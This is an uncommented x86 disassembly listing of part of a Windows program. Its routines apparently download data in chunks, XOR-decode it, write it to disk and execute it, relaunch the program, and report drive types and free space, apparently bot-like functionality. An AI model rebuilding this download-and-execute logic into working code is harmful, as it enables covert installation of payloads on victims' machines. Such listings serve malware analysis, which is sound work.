		push	offset dword_42E310
		jmp	short loc_40C984
; ---------------------------------------------------------------------------


loc_40C966:				; CODE XREF: sub_40C8B4+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_40C2CB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40C997
		push	offset dword_42E2E0


loc_40C984:				; CODE XREF: sub_40C8B4+88j
					; sub_40C8B4+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_40CA93
; ---------------------------------------------------------------------------


loc_40C997:				; CODE XREF: sub_40C8B4+C9j
		mov	esi, 1000h


loc_40C99C:				; CODE XREF: sub_40C8B4+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADB0
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40CA63
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40CA04
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_4196EF
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_43AD94
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		jmp	short loc_40C99C
; ---------------------------------------------------------------------------


loc_40CA04:				; CODE XREF: sub_40C8B4+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_42E108
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40D679
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_4]
		call	sub_417900
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_43AE30
		push	[ebp+var_1C]
		call	sub_417078
		pop	ecx
		push	1
		call	near ptr 26102D5h
		nop


loc_40CA63:				; CODE XREF: sub_40C8B4+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset dword_42E28C
		push	eax
		call	sub_4172B0
		add	esp, 14h


loc_40CA93:				; CODE XREF: sub_40C8B4+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_40CAB8
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40D679
		add	esp, 14h


loc_40CAB8:				; CODE XREF: sub_40C8B4+1E2j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BF6D
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_40CAD3
		push	[ebp+var_4]
		call	sub_417900
		pop	ecx


loc_40CAD3:				; CODE XREF: sub_40C8B4+214j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_40CAE1
		push	[ebp+arg_0]
		call	dword_43AE30


loc_40CAE1:				; CODE XREF: sub_40C8B4+222j
		push	[ebp+var_1C]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D5h
sub_40C8B4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CAF1	proc near		; DATA XREF: sub_40EE72+381Eo
					; sub_40EE72+3F6Do

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_43AD48
		call	dword_43ACA8
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_40CF7D
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	near ptr 2670000h
		nop
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_40CBB8
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42E5E4
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CB9B
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h


loc_40CB9B:				; CODE XREF: sub_40CAF1+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_48]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D5h


loc_40CBB8:				; CODE XREF: sub_40CAF1+68j
		xor	edi, edi
		nop
		call	near ptr 2610763h
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_417B89
		pop	ecx
		mov	[ebp+var_1C], eax


loc_40CBD2:				; CODE XREF: sub_40CAF1+1B4j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_43ACB0
		cmp	[ebp+var_34], esi
		jz	short loc_40CC16
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40CFE3
		pop	ecx
		pop	ecx


loc_40CC16:				; CODE XREF: sub_40CAF1+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	near ptr 2660000h
		nop
		cmp	edi, ebx
		jnb	short loc_40CC54
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40CC3E
		mov	eax, [ebp+arg_0]


loc_40CC3E:				; CODE XREF: sub_40CAF1+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_417390
		add	esp, 0Ch


loc_40CC54:				; CODE XREF: sub_40CAF1+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_40CC61
		cmp	edi, [ebp+var_3C]
		ja	short loc_40CCAB


loc_40CC61:				; CODE XREF: sub_40CAF1+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_40CC7B
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E59C
		jmp	short loc_40CC8B
; ---------------------------------------------------------------------------


loc_40CC7B:				; CODE XREF: sub_40CAF1+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E55C


loc_40CC8B:				; CODE XREF: sub_40CAF1+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_4405F0
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_40CBD2


loc_40CCAB:				; CODE XREF: sub_40CAF1+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_40CD00
		cmp	edi, [ebp+var_3C]
		jz	short loc_40CD00
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_42E518
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 28h


loc_40CD00:				; CODE XREF: sub_40CAF1+1C4j
					; sub_40CAF1+1C9j
		nop
		call	near ptr 2610763h
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 26508BEh
		push	[ebp+var_1C]
		call	sub_417C3B
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_40CD8A
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40C259
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_40CD8A
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42E4E0
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 28h


loc_40CD8A:				; CODE XREF: sub_40CAF1+241j
					; sub_40CAF1+253j
		cmp	[ebp+var_14], esi
		jz	loc_40CFCA
		cmp	[ebp+var_44], 1
		jz	loc_40CE85
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_424698
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_424698
		fstp	[esp+590h+var_590]
		push	offset unk_42E498
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CE05
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h


loc_40CE05:				; CODE XREF: sub_40CAF1+2F2j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_40CFCA
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_43AD0C
		cmp	[ebp+var_30], esi
		jnz	loc_40CFCA
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_42E464
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 24h
		jmp	loc_40CFCA
; ---------------------------------------------------------------------------


loc_40CE85:				; CODE XREF: sub_40CAF1+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_424698
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_424698
		fstp	[esp+590h+var_590]
		push	offset unk_42E414
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CEED
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h


loc_40CEED:				; CODE XREF: sub_40CAF1+3DAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_436EDC
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		nop
		call	near ptr 2770B6Ah
		cmp	eax, edi
		jnz	short loc_40CF6F
		call	dword_43ACF8
		call	sub_40AC42
		push	esi
		call	near ptr 77E75CB5h
		nop


loc_40CF6F:				; CODE XREF: sub_40CAF1+46Aj
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_42E3CC
		jmp	short loc_40CF89
; ---------------------------------------------------------------------------


loc_40CF7D:				; CODE XREF: sub_40CAF1+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E390


loc_40CF89:				; CODE XREF: sub_40CAF1+48Aj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CFBD
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h


loc_40CFBD:				; CODE XREF: sub_40CAF1+4AAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_40CFCA:				; CODE XREF: sub_40CAF1+29Cj
					; sub_40CAF1+325j ...
		push	[ebp+var_18]
		call	dword_43ADCC
		push	[ebp+var_48]
		call	sub_417078
		pop	ecx
		push	esi
		call	near ptr 26102D5h
		nop
sub_40CAF1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40CFE3	proc near		; CODE XREF: sub_40CAF1+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_40CFFF


loc_40CFEF:				; CODE XREF: sub_40CFE3+1Aj
		mov	dl, byte_42F5C4
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_40CFEF

locret_40CFFF:				; CODE XREF: sub_40CFE3+Aj
		retn
sub_40CFE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D000	proc near		; CODE XREF: sub_40EE72+2A7Ep
					; sub_40EE72+2BA4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4197F9
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40D000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D01A	proc near		; CODE XREF: sub_406387+458p
					; sub_406387+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_43F168
		push	0
		push	edi
		call	sub_417330
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_40D03F:				; CODE XREF: sub_40D01A+5Bj
					; sub_40D01A+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_4191D0
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_419250
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40D07D
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40D03F
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40D03F
; ---------------------------------------------------------------------------


loc_40D07D:				; CODE XREF: sub_40D01A+4Bj
		dec	esi
		mov	eax, edi


loc_40D080:				; CODE XREF: sub_40D01A+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_40D08F
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_40D080
; ---------------------------------------------------------------------------


loc_40D08F:				; CODE XREF: sub_40D01A+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D01A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D099	proc near		; CODE XREF: sub_40D24E+51p
					; sub_40D24E+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43ADF8
		sub	eax, 0
		jz	short loc_40D0DC
		dec	eax
		jz	short loc_40D0D6
		dec	eax
		dec	eax
		jz	short loc_40D0D0
		dec	eax
		jz	short loc_40D0CA
		dec	eax
		jz	short loc_40D0C4
		dec	eax
		jz	short loc_40D0BE
		mov	eax, offset word_42DDD0
		retn
; ---------------------------------------------------------------------------


loc_40D0BE:				; CODE XREF: sub_40D099+1Dj
		mov	eax, offset off_42E644
		retn
; ---------------------------------------------------------------------------


loc_40D0C4:				; CODE XREF: sub_40D099+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_40D0CA:				; CODE XREF: sub_40D099+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_40D0D0:				; CODE XREF: sub_40D099+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_40D0D6:				; CODE XREF: sub_40D099+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_40D0DC:				; CODE XREF: sub_40D099+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40D099	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D0E2	proc near		; CODE XREF: sub_40D12A+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_43AC94
		test	eax, eax
		jz	short loc_40D117
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_40D117:				; CODE XREF: sub_40D0E2+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D0E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D12A	proc near		; CODE XREF: sub_40B8D8+1F3p
					; sub_40D24E+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40D0E2
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		pop	ebx
		jmp	short loc_40D23A
; ---------------------------------------------------------------------------


loc_40D208:				; CODE XREF: sub_40D12A+2Cj
					; sub_40D12A+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_40D23A:				; CODE XREF: sub_40D12A+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D12A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D24E	proc near		; CODE XREF: sub_40D320+17p
					; sub_40D320+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40D12A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_4176D0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40D2C1
		push	ebx
		push	ebx
		call	sub_40D099
		pop	ecx
		push	eax
		push	offset unk_42E6A4
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	short loc_40D2F5
; ---------------------------------------------------------------------------


loc_40D2C1:				; CODE XREF: sub_40D24E+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_40D099
		pop	ecx
		push	eax
		push	offset unk_42E658
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 20h


loc_40D2F5:				; CODE XREF: sub_40D24E+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_40BF6D
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D24E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D320	proc near		; CODE XREF: sub_40EE72+57F0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40D341
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D24E
		add	esp, 10h
		jmp	short loc_40D3A2
; ---------------------------------------------------------------------------


loc_40D341:				; CODE XREF: sub_40D320+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_43AD08
		lea	esi, [eax+2]
		push	esi
		call	sub_417B89
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_43AD08
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40D399


loc_40D365:				; CODE XREF: sub_40D320+77j
		push	offset aA_0	; "A:\\"
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D388
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D24E
		add	esp, 10h


loc_40D388:				; CODE XREF: sub_40D320+54j
		push	esi
		call	sub_417AB0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_40D365


loc_40D399:				; CODE XREF: sub_40D320+43j
		push	edi
		call	sub_417C3B
		pop	ecx
		pop	edi
		pop	esi


loc_40D3A2:				; CODE XREF: sub_40D320+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40D320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D3A5	proc near		; DATA XREF: ___:0040E6BAo

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_4407FC
		call	dword_43AE30
		call	sub_416F25
		call	dword_43ACF8
		call	dword_43ACF8
		mov	ebx, dword_424064
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_436EDC
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	near ptr 26204C9h
		nop
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	near ptr 2680000h
		nop
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 2770B6Ah
		test	eax, eax
		jz	short loc_40D46A
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_424078
		call	esi
		push	[ebp+var_C]
		call	esi


loc_40D46A:				; CODE XREF: sub_40D3A5+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43F1A0
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx
sub_40D3A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D48D	proc near		; CODE XREF: sub_40D4C5+125p
					; sub_40D4C5+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
